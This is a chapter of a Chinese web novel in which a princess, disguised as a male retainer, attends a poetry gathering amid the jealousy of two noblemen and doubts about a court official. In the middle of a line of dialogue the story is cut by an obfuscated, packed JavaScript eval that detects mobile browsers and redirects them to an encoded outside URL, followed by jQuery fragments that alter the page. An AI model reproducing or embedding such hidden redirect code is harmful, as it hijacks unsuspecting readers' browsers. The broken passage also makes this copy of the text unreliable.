22. 怒色

作品:《公主说她全都要

    沈临随晏栖绕过假山,语带闲适:“路公子遍寻许公子不着,原来是在此处躲清静。”


    顾疏桐含笑起身,说道:“想是为那二位姑娘之事,我这便去寻他。”


    穆娴闻言忙与戚夏月紧随其后。擦肩而过时,戚夏月敏锐地捕捉到晏栖投来的一瞥。


    目光却冷淡,隐含不悦。


    见三人走了,萧清淮单手撑在那石桌上,对着坐在石凳上的晏栖说道:“哟,晏公子什么时候这么热心肠了?沈公子帮着路仁伽找人,你也来帮忙么?只是平日里怎么没发现你这么……古道热肠呢。”


    沈临与这二位都不算特别熟识——萧清淮最不喜诗会一类,因而不常聚;晏栖又是个深居简出的,也不常来。今儿一道来就够稀奇的了,眼下似乎还起了争执。沈临又惯于置身事外,索性静观。


    “火气这么大。”晏栖置若罔闻,只将一片梧桐叶搁在萧清淮面前,示意其拿去扇扇风降降燥。


    沈临暗想:未曾想晏公子竟也善用此等绵里藏针之语,平时倒是瞧不出来。


    萧清淮嗤笑,他才懒得理他。却又确实喜欢梧桐,便拿在手里把玩。


    晏栖冷冽的声音忽至:“少将军胆子也太大了。”


    沈临愕然:不过是拿了片梧桐叶,还是你亲手递过去的,胆子就大了?


    “是晏公子书读迂了,冥顽不灵吧。”萧清淮反唇相讥,“她既有所愿,岂有推拒之理呢。”


    沈临愈发迷惑:谁是他?她?


    “那就凡事都依着她吗?若遇险境,又或是身份败露……纵你无畏,她呢?你可曾想过她如何自处?可为她考虑过分毫吗?”


    沈临内心:究竟是何意啊……


    “行啊,晏公子倒是思虑周全。可惜,她为何不找你呢?”萧清淮笑了几声,待要再说上几句,晏栖便已开口打断了他。


    “我也没别的意思,只是,少将军该多上点心才是。”晏栖闭了闭眼,低声道,“外头人心险恶,她本不谙此道。”


    “这些我都知道,晏公子就不必操心了。”萧清淮将那梧桐叶拿在手里,拂袖而去。


    ----------------


    当晏栖与沈临重回主园,只见顾疏桐被几人围着寒暄,萧清淮却不见踪影。


    晏栖眉间微蹙,正要上前,沈临在一边淡淡开口:“是这三位啊。”


    这三位?晏栖方才没注意顾疏桐身侧都是些什么人,待认出后更加忧心。


    沈临拦住想要上前打搅的晏栖,奇道:“少将军的门客结交朋友,沈公子掺和什么?”


    “结交朋友?此等‘朋友’么?”沈临瞧着柔柔弱弱的,想不到力气竟也不小。晏栖担心伤着他,一时没敢用力。


    沈临意味深长地说:“那也只是晏公子不好此道罢了,兴许许公子正有此意……”


    话未说完,晏栖便已明白了什么。他忽地想起早前沈临面上的不适与尴尬,又想起险些滑倒的顾疏桐。他侧过头看着沈临墨一样的眸子,不悦道:“那沈公子确实误会了。许朝他不好此道,亦不会刻意做些什么博取不相关之人的关注。”


    “少将军府上的门客,晏公子怎得这么熟稔?”沈临微微眯着眼睛,状似无意道,“听你方才的话,倒像是知道他喜欢何人似的。”


    晏栖闻言眉头蹙得更紧,没理会沈临这无聊的试探:“沈公子说笑了。”


    他匆匆甩开沈临的手,心头烦闷更甚。


    彼时顾疏桐正被几位公子围着,应付着刨根问底的“家世”探询。她一面疑惑为何问得如此详细,一面绞尽脑汁地编着身世经历。


    自她在明华殿念书起,兴许是因为她是公主,又或者有其他缘故,常有人主动与她结交。


    今日首次参加这聚会又有好些人主动搭讪,顾疏桐心内便有些疑惑:这些世家子弟,莫非都如此热衷结交“才疏学浅”的门客?难道仅凭那首平平之作与几箭之功,便愿意与之为友么?


    “打搅了,我有几句话想同许公子说上一说。”


    晏栖的声音如冰泉浇下,三人正自以为聊得欢快,闻声便有些不悦。一抬头见是晏栖,便连连点头,各自走开。


    顾疏桐如蒙大赦,抬脚便走向一边的矮凳。晏栖便跟在她身后,坐在了她的对面。


    “晏公子又有什么话好说?”此言一出,顾疏桐登时想起秋猎时晏栖要同她说的话。不过,耽搁了那么久,晏栖总不能还记得吧……


    晏栖一时未言,只抬头端详着顾疏桐。顾疏桐略有些不适,正想说些什么,晏栖已开口道:“今日怎么没在面上涂些什么?”


    许是担忧被旁人听见什么去,晏栖说得语焉不详,但顾疏桐迅速会意,知道他说的是萧家寿宴那日她涂的“易容粉”。


    她忽而有些好奇,晏栖知道这世间有“易容粉”的存在吗?


    她摇摇头,低声道:“蔺大人用完了。”


    “是蔺大人之物啊……”晏栖四下环顾一番,正色道,“此物奇诡,公主便未疑心其用向?”


    “有何可查?本也没什么效用,那日公子不就一眼认出了么。”


    “微臣……”


    “再者说,我哪里有这样的能耐,公子若好奇,自己查就是了。反正公子神通广大,又无所不能……”


    晏栖微微一顿,而后说道:“微臣只是想着蔺大人形迹可疑,担忧公主安危,并无其他意思。”


    “嗯。”顾疏桐随意点了点头,似乎并未放在心上。


    她抛下此钩,便是要借晏栖之力。晏栖若有心,便自会提防着蔺寒枝,去查明些什么。她虽“只是”个公主,可她对朝中形势并非一概不知。


    皇帝年岁已老,却一直未曾立储。膝下皇子极多,却只有二位年长的得了封地,其中一位又是早年宗室里过继来的,其余的都养在京里。


    皇子们面上和睦,背地里却斗得厉害。朝中大臣亦早早做起打算,各有支持的储君人选。


    顾疏桐对蔺寒枝始终心有防备,担忧他做出什么对皇室不利的事,奈何她并无门路去探查些什么。晏栖与顾烨然关系极好,虽为朋友,更为君臣。他便不好奇,可是为了顾烨然的储君之位,为了他自己的仕途,为了晏家前程,他必不会对蔺寒枝这等变数袖手旁观。


    晏栖亦沉默半晌,好一会儿才道:“那日秋猎,微臣是想同……”


    “许公子!”穆娴挥着手,朝顾疏桐处走来。


    晏栖自知是说不成了,抬眼瞧见跟在戚夏月和穆娴身后的萧清淮,便气不打一处来。自行去找萧清淮的麻烦,将此处留给了穆娴几人。


    先前那三人远远瞧着晏栖二人的动静已瞧了许久,今见他走了,正欲上前寻顾疏桐,谁知穆娴和戚夏月又过来了,便在一边恨地跺脚。


    “都赖那姓晏的,人可是萧府的人,他急得什么似的,说了这么久的话。”


    “可不是嘛,也不怕少将军吃飞醋。那萧府门客这么多,怎得只带他一人前来?许朝年纪又这样轻,谁不知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782116|172710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道他们二人的勾当。”一人说得猥琐。


    “那许朝还在那里装什么?方才话都说得那样明白了,还故作不懂。”


    “哪有那姓晏的装得厉害?平日里装得清高,不喜吵闹又不近女色,原是见了个略清秀些的人便按捺不住……”


    不愧是“三个男人一台戏”,三人聚在一起,便在那编排个没完。却也自知惹不起那二位,因而消了对“许朝”的心思。


    萧清淮本是帮着穆娴和戚夏月同那路仁伽说那二位姑娘的事情,才一时未跟在顾疏桐身后的。这一回来便看见神色不善的晏栖,正疑惑木头脸也会有些别的表情么,便被他一通指责。


    “少将军广交朋友,应该比我更清楚那三人最好什么,心里存着什么心思吧?”


    晏栖话虽不客气,萧清淮却也明白他的忧心。那三人花名在外,狎玩男宠,却自诩“风流公子”。今日兴许是见顾疏桐男装斯文清秀,便动了些不该动的心思,想与之结交。


    本就是萧清淮理亏,因而也未做辩解。只在送顾疏桐回宫的马车上,将此节当作笑谈讲出。


    他以为顾疏桐听后会稍微开心些,却只见顾疏桐眸光冷淡,笑道:“晏公子何时这样善心了?若真遇什么不测,本宫尚有能力脱困;而他呢,连自保能力都没有,倒忧心起本宫来了。便真有什么事,与他何干呢。”


    顾疏桐对别人的善意一向处理得当,从不会这样说话的。这样不领情,这样刻意。


    萧清淮终于意识到,他自以为察觉到的一切,其实都是不适用于顾疏桐的。他总以为自己好像了解顾疏桐了,却又时时刻刻都在意识到——自己从来不懂她。


    “晏公子也是出于好意,公主有所不知,那三人……”


    好意么?只是如此么?还是想利用些什么呢?


    顾疏桐想起过往种种,如果晏栖足够笨什么都不知道的话,那也许真的是出于好意。可是晏栖这么聪明,真的不明白么?


    就算从未挑明,晏栖真的会什么都不清楚吗?


    萧清淮还在那里说着什么,顾疏桐心内略烦躁,但还是勉强笑着:“怪道呢,临行前那三人总问我何日再去,不过不知为何沈公子瞧着却不大高兴似的。”


    “哎呀,这有什么好想的。读书人都是这样,自诩清高,性子古怪着呢……”


    萧清淮不知此前沈临误会顾疏桐一事,若知道,便能对此事做出解释了——早前沈临被喜好男风者纠缠,烦不胜烦,因而对此类人一向敬而远之,实是杯弓蛇影。


    顾疏桐深以为然:“言之有理,晏公子不也是这样么……”


    萧清淮小心观察着顾疏桐的神色,说起了其他事:“日后若再有什么雅集,公主还去吗?”


    “再说吧。”顾疏桐倦然叹道。


    未出宫前,她对京中文人雅集期盼已久,想着能在此结交些志同道合的贤能之辈。


    可今日这诗会,到与她想象中的不同。人人皆只知寻欢作乐,所谈也非国非志。她在这待了许久,只觉着除却认识了穆娴与戚夏月外,竟像是白白荒废了半日似的。


    马车照例停在那西南角,甫一停下,顾疏桐便瞧见了候在暮色里的蔺寒枝。


    平日里总得蔺寒枝助益,却又一直怀疑他……顾疏桐忙欲过去寻他,蔺寒枝亦早等在一旁,扶着她下了马车。


    “等了许久吧?”


    “并未。”蔺寒枝摇头,眸光在暮色中显得幽深,“只是,微臣今日出宫,偶见一桩异事……”